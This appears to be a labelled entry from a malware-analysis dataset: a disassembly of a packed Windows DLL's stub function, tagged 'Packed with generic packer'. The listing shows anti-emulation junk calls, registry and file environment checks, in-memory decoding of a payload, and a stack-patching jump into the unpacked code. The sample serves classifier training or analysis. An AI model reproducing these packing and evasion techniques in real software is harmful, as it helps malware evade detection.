Function at 0x10001880
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push ebx
push esi
push edi
pushal
mov dword [0x10007110], 0
mov dword [0x100070e0], 0
mov dword [0x10007124], 0
mov dword [0x10007100], 0x65
mov dword [0x100070f0], 5
mov dword [ebp - 0x54], str.jjjTWAREFFFFFFF
mov dword [ebp - 4], str.jjsid0cd7a5c0_9f37_11ce_ae65_08002b2e1262_shellfolder
mov dword [0x10007110], 0
mov dword [0x100070e0], 0
mov dword [0x10007124], 0
mov dword [0x10007100], 0x64
mov dword [0x100070f0], 4
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x200
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x100019e5
call entry0
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x10007130], eax
mov ecx, dword [ebp - 0x54]
mov byte [ecx], 0x53
mov edx, dword [ebp - 0x54]
mov byte [edx + 1], 0x4f
mov eax, dword [ebp - 0x54]
mov byte [eax + 2], 0x46
mov ecx, dword [ebp - 0x54]
mov byte [ecx + 9], 0x43
mov edx, dword [ebp - 0x54]
mov byte [edx + 0xa], 0x6c
mov eax, dword [ebp - 0x54]
mov byte [eax + 0xb], 0x61
mov ecx, dword [ebp - 0x54]
mov byte [ecx + 0xc], 0x73
mov edx, dword [ebp - 0x54]
mov byte [edx + 0xd], 0x73
mov eax, dword [ebp - 0x54]
mov byte [eax + 0xe], 0x65
mov ecx, dword [ebp - 0x54]
mov byte [ecx + 0xf], 0x73
push 0x10007138
mov edx, dword [ebp - 0x54]
push edx
push 0x80000002
call dword [0x10007130]
test eax, eax
je 0x10001a4e
int 0x51
mov eax, dword [ebp - 4]
mov byte [eax], 0x63
mov ecx, dword [ebp - 4]
mov byte [ecx + 1], 0x6c
push 0x10007138
mov edx, dword [ebp - 4]
push edx
push 0x80000000
call dword [0x10007130]
test eax, eax
je 0x10001a75
int 0x51
mov dword [ebp - 0x164], str.c:_ffffff
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x168], eax
push 0
push 0x80
push 3
push 0
push 3
push 1
mov ecx, dword [ebp - 0x164]
push ecx
call dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0xffffffff
je 0x10001ac8
cmp dword [ebp - 0x16c], 0
je 0x10001ac8
mov eax, 0x42
jmp 0x10001d88
push 1
mov edx, dword [0x1000712c]
push edx
call fcn.100016f0
add esp, 8
mov dword [0x10007148], eax
mov eax, dword [0x10007148]
push eax
call fcn.10001ef0
add esp, 4
mov dword [0x100070f8], eax
mov ecx, dword [0x10007148]
mov dword [0x10007134], ecx
mov edx, dword [0x100070e0]
cmp edx, dword [0x10007148]
jae 0x10001b90
mov eax, dword [0x10007134]
push eax
mov ecx, dword [0x10007100]
push ecx
call fcn.10001e80
add esp, 8
mov dword [0x1000711c], eax
mov edx, dword [0x1000711c]
push edx
mov eax, dword [0x1000712c]
add eax, dword [0x10007124]
push eax
mov ecx, dword [0x100070f8]
add ecx, dword [0x100070e0]
push ecx
call fcn.100014a0
add esp, 0xc
mov edx, dword [0x100070f0]
add edx, dword [0x10007100]
add edx, dword [0x10007124]
mov dword [0x10007124], edx
mov eax, dword [0x100070e0]
add eax, dword [0x10007100]
mov dword [0x100070e0], eax
mov ecx, dword [0x10007134]
sub ecx, dword [0x1000711c]
mov dword [0x10007134], ecx
jmp 0x10001afd
mov edx, dword [0x10007148]
push edx
mov eax, dword [0x100070f8]
push eax
call fcn.100016b0
add esp, 8
mov ecx, dword [ebp + 8]
mov dword [0x10007114], ecx
mov dword [0x10007124], 0
mov dword [0x100070e0], 0
push 2
mov edx, dword [0x1000712c]
push edx
call fcn.100016f0
add esp, 8
mov dword [0x10007148], eax
mov eax, dword [0x10007148]
push eax
call fcn.10001ef0
add esp, 4
mov dword [0x10007118], eax
mov ecx, dword [0x10007148]
mov dword [0x10007134], ecx
mov edx, dword [0x100070e0]
cmp edx, dword [0x10007148]
jae 0x10001c8a
mov eax, dword [0x10007134]
push eax
mov ecx, dword [0x10007100]
push ecx
call fcn.10001e80
add esp, 8
mov dword [0x1000711c], eax
mov edx, dword [0x1000711c]
push edx
mov eax, dword [0x1000712c]
add eax, dword [0x10007124]
push eax
mov ecx, dword [0x10007118]
add ecx, dword [0x100070e0]
push ecx
call fcn.100014a0
add esp, 0xc
mov edx, dword [0x100070f0]
add edx, dword [0x10007100]
add edx, dword [0x10007124]
mov dword [0x10007124], edx
mov eax, dword [0x100070e0]
add eax, dword [0x10007100]
mov dword [0x100070e0], eax
mov ecx, dword [0x10007134]
sub ecx, dword [0x1000711c]
mov dword [0x10007134], ecx
jmp 0x10001bf7
mov edx, dword [0x10007148]
push edx
mov eax, dword [0x10007118]
push eax
call fcn.100016b0
add esp, 8
mov dword [0x100070fc], 0x10001f50
mov ecx, dword [0x100070f8]
mov edx, dword [0x10007118]
mov dword [ecx], edx
mov dword [0x1000704c], 0x16000
mov eax, dword [0x1000704c]
push eax
call fcn.10001ef0
add esp, 4
mov dword [0x100070ec], eax
push 0x2f00
mov ecx, dword [0x100070f8]
push ecx
mov edx, dword [0x100070ec]
add edx, 0x200
push edx
call fcn.100014a0
add esp, 0xc
call fcn.100016a0
mov dword [0x1000704c], eax
mov eax, dword [0x100070ec]
sub eax, dword [0x1000704c]
mov dword [0x10007140], eax
mov ecx, dword [0x10007140]
mov dword [0x100070e8], ecx
mov edx, dword [0x100070e8]
push edx
mov eax, dword [0x100070ec]
push eax
mov ecx, dword [0x10007118]
push ecx
call fcn.10001d90
add esp, 0xc
mov edx, dword [0x100070ec]
add edx, 0x2e20
mov dword [0x100070f4], edx
popal
push 0x1159
push 0xc33
pop eax
mov eax, dword [0x100070fc]
mov ecx, esp
mov edx, 0x1e
mov edi, edi
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, ecx
sub edx, 0x3e7
jmp 0x10001d7b
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret